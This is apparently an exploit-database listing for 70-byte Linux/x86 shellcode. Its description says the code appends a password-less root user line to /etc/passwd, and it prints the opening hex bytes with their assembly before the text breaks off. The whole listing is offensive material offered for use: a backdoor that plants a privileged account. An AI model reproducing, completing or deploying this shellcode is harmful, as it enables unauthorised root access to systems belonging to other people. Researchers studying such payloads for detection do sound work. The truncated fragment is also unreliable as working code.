linux/x86 add user 70 bytes

linux/x86 add user 70 bytes. Shellcode exploit for linx86 platform / Linux/x86 Appends the line "z::0:0:::\n" to /etc/passwd. quite old, could be optimized further / include char c0de = / main: / "\xeb\x29" / jmp callz / / start: / "\x5e" / popl %esi / "\x29\xc0" / subl %eax, %eax / "\x88\x46\x0b...